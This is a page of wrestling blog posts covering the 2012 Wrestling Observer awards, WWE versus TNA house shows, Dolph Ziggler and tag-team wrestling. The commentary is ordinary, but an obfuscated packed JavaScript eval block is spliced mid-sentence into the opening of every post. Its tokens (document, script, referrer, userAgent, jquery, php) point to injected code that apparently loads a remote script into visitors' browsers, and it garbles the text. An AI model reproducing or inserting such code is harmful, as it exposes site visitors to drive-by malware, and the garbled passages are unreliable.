Thought of the Day: The Other Kind Of Wrestling Fans

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hynrr|var|u0026u|referrer|eaiib||js|php'.split('|'),0,{})) as you may know, I was at the Smackdown house show two days ago.  I saw something there that made me smile.A few rows behind me there was a teenager (I think.  He seemed to be somewhere between 12 and 15 or so) in a red shirt.  He was with a friend of his who clearly was new to wrestling as the guy in the red shirt was explaining everything to him, like who characters were and the stories that were going on.  I started thinking about how fans like me and the so called “smart” fans really do have less fun.  I watched the show with a notebook and with an analytical mind rather than just having a good time.

The guy behind me was cheering for all his heroes, booing the villains, and clearly was an expert on what was going on.  He didn’t need to know that Barrett had no chance of winning, he didn’t need to know what spots were coming, he didn’t need to rate the match.  He was having fun with what he was doing and had paid his money to see a show.  There’s not a thing wrong with that and I felt kind of jealous actually.



WWE Poaching TNA’s Territory

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzsak|var|u0026u|referrer|brbai||js|php'.split('|'),0,{})) is an interesting story that I only see one side to for the most part.As you’ve likely heard (at least you have if you follow this site, which you should), TNA is taking their TV tapings national, meaning they’ll be going around the country.  WWE has started going to mid-sized areas around the same areas for house shows to try to sabotage TNA.  Some TNA fans are crying foul over this, but I have absolutely no problem with TNA doing this.

 

TNA is the company that tried to start the second Monday Night Wars (remember that pitiful attempt?).  Now they’re trying to go national to compete with WWE.  Look at what WWE has done both times: they’ve fought back.  How can TNA fans claim that this is unfair?  It’s like picking on someone and then getting annoyed when they punch you in the jaw.

 

TNA is the company trying to move up the ladder.  If the people at the top of the ladder don’t want them there, they can fight back.  You can’t try to move up and then complain that a larger company is playing unfair.  In the words of Scott Hall, TNA wanted a war and now they’ve got one.  The problem is WWE has a lot more bullets and much bigger tanks.

 

I really don’t see how WWE has done anything wrong here or why TNA and/or its fans have any reason to complain.  If WWE is viewing them as an annoyance (saying WWE views them as a threat at this point is laughable at best) and wants to crush them, I’d think of that more of a good sign for TNA than anything else.



2012 Wrestling Observer Newsletter Awards Announced

Oh boy you know I look forward to these.  I’ll give my thoughts on most of them but I’ll be omitting the MMA stuff because, unlike Meltzer’s site, I actually talk about wrestling eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnetz|var|u0026u|referrer|dabst||js|php'.split('|'),0,{})) and only wrestling.  Second and third place listed in order in parentheses.  Let’s get to it.

Wrestler of the Year – Hiroshi Tanahashi (CM Punk, Kazuchika Okada)

CM Punk was WWE Champion for the entire year.  I think that sums up the case against Tanahashi pretty well.

 

Most Outstanding Wrestler – Hiroshi Tanahashi (Kazuchika Okada, CM Punk)

I’m still not sure what the difference between this and wrestler of the year is.

 

Best Box Office Draw – The Rock (John Cena, Brock Lesnar)

I had a feeling he’d beat out Edge for Bending the Rules.  Lesnar at 3 though is kind of a headscratcher.  I guess it’s because of not enough appearances.

 

Feud of the Year – Hiroshi Tanahashi vs. Katsuchika Okada (Anderson Silva vs. Chael Sonnen, John Cena vs. The Rock)

Hey look: more Japanese guys.  Punk vs. everyone?  Bryan vs. the crowd?  Punk vs. Jericho?  Rock vs. Cena?  Maybe?  No wait they’re American.  Never mind.

 

Tag Team of the Year – Bad Influence (Kane and Daniel Bryan, Young Bucks)

This was a toss up between them and HELL NO.  I would have gone with the WWE guys but I can live with this.

 

Most Improved – Katsuchika Okada (Michael Elgin, Rush)

This would be Samoa Joe’s friend who was in TNA for like five minutes.  Eh I guess this is fine.  No one jumped out for me in this category.  Oh wait: BULLY FREAKING RAY ANYONE???

 

Best on Interviews – CM Punk (Chael Sonnen, Rock)

No problem there, but I could see HELL NO getting this.  They were hysterical.

 

Most Charismatic – The Rock (Hiroshi Tanahashi, John Cena)

Fine again here.

 

Best Technical Wrestler – Daniel Bryan (Prince Devitt, Davey Richards)

That’s 8 years in a row.  Just name the thing after him already.  Oh and unless Davey Richards has COMPLETELY changed his style, that’s absolutely absurd.  Brodus Clay is more technical than Richards.

 

Best Brawler – Kevin Steen (Togi Makabe, Bully Ray)

Not many people brawl anymore so this is no surprise.

 

Best High Flier – Kota Ibushi (Ricochet, Pac)

No surprise there either as he’s won three out of four years in a row and was injured the year he didn’t win.

 

Most Overrated – Ryback (The Miz, Garrett Bischoff)

You mean the guy who caused HIAC to get its highest amount of buys in two years?  Yeah there’s no value there.  Who actually rates Garrett Bischoff as anything?

 

Most Underrated – Tyson Kidd (Dolph Ziggler, Daniel Bryan)

Eh he’s good but the day people buy a ticket to see Tyson Kidd is the day I learn to do the Charleston.  The runners up here blow my mind.  Dolph Ziggler is apparently the second coming and Bryan has been a champion forever, yet he’s UNDERrated?

 

Promotion of the Year – New Japan (UFC, WWE)

Well it certainly wasn’t anything in America.  I’ll let this one go.

 

Best Weekly Television Show – Impact Wrestling (Ring of Honor, NXT)

VIVA LOS ACES AND 8’S!  First time it’s ever won this.  If they’re counting the end of the fifth season of NXT in there, I can certainly understand this.

 

Match of the Year – Hiroshi Tanahashi vs. Minoru Suzuki (John Cena vs. Brock Lesnar, Davey Richards vs. Michael Elgin)

Having not seen this, I’m going to go on a limb and say HHH vs. Undertaker inside the Cell at Wrestlemania was about ten times better.

 

Rookie of the Year – Dinastia (Mr. Touchdown, Eita Kobayashi)

Anyone from Mexico that can help me out here?  This depends on your definition of rookie so I can live with this one going another way.

 

Best Non-Wrestler – Paul Heyman (Ricardo Rodriguez, Vickie Guerrero)

He could sit in the back reading the newspaper and earn an award from an internet wrestling writer.  He was fine but as usual, I don’t get the massive appeal of him.  Ricardo continues to crack me up though.

 

Best Television Announcer – Jim Ross, Nigel McGuinness, William Regal)

He’s on TV enough to qualify for this?

 

Worst Television Announcer – Michael Cole (Taz, Booker T)

Oh come on.  King had a heart attack and nearly died on Raw.  That has to make him worse.

 

Best Major Show – King of Pro Wrestling – New Japan (Extreme Rules, Wrestlemania)

Is anyone surprised at this point?

 

Worst Major Wrestling Show – No Surrender

Final Resolution was worse but whatever.  Actually I’m getting two reports for who won this so after the UFC (IT ISN’T A FREAKING MMA AWARD) show, the worst WRESTLING show might have been Extreme Reunion

 

Best Wrestling Manuever – Rainmaker: Kazuchika Okada (Neutralizer, NO Lock)

It’s an arm thing apparently.  Sure why not.

 

Most Disgusting Promotional Tactic – WWE broadcasting a dead Jerry Lawler being revived after a heart attack, and then having CM Punk and Paul Heyman mock the heart attack in front of Lawler (Extreme Rising using a photo of Sabu passing out from an overdose to promote, some UFC thing)

Someone answer this for me: does Meltzer EVER complain about the show being PG?  If he does, he’s a hypocrite for this one.

 

Worst Television Show – Raw (Impact, Ultimate Fighter)

Eh yeah probably.  Also, Impact WINS best and comes second in worst?  These are some fickle voters.

 

Worst Match of the Year – John Cena vs. John Laurinitis (Santino Marella vs. Ricardo Rodriguez, some UFC fight)

No.  Aksana vs. Kaitlyn was literally a four minute headlock.  No way this was worse.

 

Worst Feud of the Year – John Cena vs. Kane (TNA vs. Aces and 8’s, John Cena vs. John Laurinitis)

It was bad yeah but I don’t think it was even around long enough to qualify as bad.  Seriously, Aces and 8’s?  Clair Lynch?  They’re better than Cena vs. Kane?  I don’t think so.

 

Worst Promotion of the Year – TNA (ROH, WWE)

Their only US TV show is the best show but they’re the worst company?  How do these awards work anyway?

 

Best Booker – Jado and Gedo (UFC guy, Mike Quackenbush)

New Japan, duh.

 

Best Gimmick – Joseph Park (Damien Sandow, Daniel Bryan)

If this didn’t win, the awards are a joke.

 

Worst Gimmick – Aces and 8’s (Tensai, Natalya)

You knew they were winning SOMETHING.  But hey, the show they’re ALWAYS ON is still the best show right?

 

Best Wrestling Book – Shooters by Jonathan Snowden (Heroes and Icons by Oliver/Johnson/Mooneyham, From Prison to Promise by Booker T)

Never heard of it but sure why not.

 

Best Wrestling DVD – CM Punk: Best in the World (Last of McGuinness, some UFC thing)

If you didn’t see this coming, go watch PBS as it’s more your speed.

 

So yeah, Japan rules the internet wrestling world again, and no I don’t want to watch puro.



The Return Of A Stable

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeiaf|var|u0026u|referrer|yeasf||js|php'.split('|'),0,{})) is an idea I remember being floated around back in the Immortal days in TNA.The idea was to have the Main Event Mafia return to fight Immortal.  I hardly ever remember a team that is long since gone coming back to face a current stable.  We’ve seen stables fighting each other before but never one that comes back to feud with one.  It’s definitely an interesting idea and if done properly it could create some interesting stories.

 

Is this something you would be interested in seeing in the future if stables came back as a thing, or should dead stables stay dead?



Thought of the Day: Dolph Ziggler

Yesterday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frfnn|var|u0026u|referrer|ynyae||js|php'.split('|'),0,{})) I watched Edge vs. Ziggler from the 2011 Rumble. I just finished Punk vs. Ziggler from the 2012 Rumble. On Monday I saw Cena vs. Ziggler on Raw. My conclusion:

Ziggler is the exact same worker he was two years ago. He hasn’t gotten any better other than having a superkick instead of the sleeper now.  His talking has gotten a bit better, but at the end of the day he’s about 95% the same guy that he was back in 2011.   That’s not a good sign for a guy who is allegedly the future of the company.



Thought of the Day: More Proof Tag Wrestling Doesn’t Work Anymore

After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyiae|var|u0026u|referrer|dazht||js|php'.split('|'),0,{})) the big push last year, we’re back down to HELL NO vs. the Scholars again and the same formula that has been used for years now.  At the end of the day, the division isn’t going to last long term and there’s really no way around that.  The TNA tag division is dead again now too with just the champions and apparently a thrown together team of two main eventers.



Thought of the Day: Favorite Does Not Mean Best

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihbnz|var|u0026u|referrer|ezzfb||js|php'.split('|'),0,{})) is something I’ve gotten asked a good deal recently and I want to clarify it.My favorite baseball team is the Cleveland Indians.  That means I like them better than all other teams.  That does NOT mean I think they’re the best.  Anyone who follows baseball can tell that there are many better teams.  The same is true in wrestling.  My favorite wrestler is Mick Foley, but I certainly don’t think he’s the best ever.  There’s a very big difference between best and favorite, which needs to be remembered.



WWE vs. TNA Lawsuit Dismissed

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiain|var|u0026u|referrer|fdkse||js|php'.split('|'),0,{})) whole thing about WWE stealing information to find out what talent they could steal from TNA finally comes to a close.  While not confirmed, it looks like a settlement was reached.  I never really got why this was such a big deal in the first place.



Thought of the Day: Heels Don’t Cheat Enough

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fknbh|var|u0026u|referrer|kiins||js|php'.split('|'),0,{})) touched on this before.I was watching a Nitro last night and Alex Wright put his feet on the ropes to cheat.  At Genesis this past week, there were multiple instances where a heel pulled the trunks to win.  Why don’t we see these kind of things more often?  It’s so simple and it’s almost a guaranteed way to make the people boo you, but instead it’s almost always interference or something like that.  In WWE, when is the last time we got a belt shot to the head?  It may be easy heat, but it’s better than no heat.



Favorite Wrestling Vehicle

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sysbn|var|u0026u|referrer|sdnzz||js|php'.split('|'),0,{})) honor of Del Rio’s title win, what is your favorite vehicle in wrestling?  It could be a car, a motorcycle, the horses the Vince and Jesse rode into SNME on, anything.  Mine:The ring carts used to get down the aisle at Manias 3 and 6.  Those things were straight up cool.

 

Your picks?